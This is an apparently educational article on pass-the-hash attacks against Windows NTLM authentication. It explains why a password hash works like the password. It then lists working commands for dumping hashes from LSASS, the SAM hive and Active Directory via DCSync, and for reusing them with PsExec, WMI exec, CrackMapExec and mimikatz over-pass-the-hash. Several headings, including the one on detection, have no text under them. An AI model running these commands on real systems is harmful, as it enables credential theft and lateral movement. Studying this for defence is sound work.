Pass-the-Hash: Understanding NTLM Authentication Attacks
An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Exploiting NTLM's Architectural Weakness
Pass-the-Hash (PtH) exploits a fundamental architectural property of NTLM authentication: the protocol uses the NTLM hash of a user's password — not the plaintext — for network authentication. This means possessing the hash is equivalent to possessing the password for authentication purposes. First demonstrated in the late 1990s, PtH remains one of the most effective lateral movement techniques because it targets the protocol's design rather than its implementation.
Prerequisites
How NTLM Authentication Works
The key insight: the client-side computation uses the NTLM hash, not the plaintext password. Possessing the hash is equivalent to possessing the password for network authentication.
Extracting NTLM Hashes
From LSASS Memory
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
From SAM Registry Hive
reg save hklm\sam sam.save
reg save hklm\system system.save
impacket-secretsdump -sam sam.save -system system.save LOCAL
From Active Directory (DCSync)
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:password@192.168.1.10
Executing Pass-the-Hash Attacks
# Impacket PSExec with hash
impacket-psexec -hashes :NTHASH corp.local/user@192.168.1.10
# Impacket WMI exec with hash
impacket-wmiexec -hashes :NTHASH corp.local/user@192.168.1.10
# CrackMapExec with hash
crackmapexec smb 192.168.1.10 -u admin -H NTHASH -x whoami
Over-Pass-the-Hash
Converts NTLM hashes into Kerberos TGT tickets, bypassing NTLM restrictions:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:corp.local /ntlm:NTHASH /run:powershell.exe"
Detection
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Pass-the-Hash exploits NTLM by using password hashes directly for authentication. Combined with credential dumping and lateral movement, PtH enables attackers to move through AD environments with stolen hashes. Defenses focus on reducing NTLM usage, Credential Guard, unique local admin passwords (LAPS), and monitoring suspicious authentication patterns.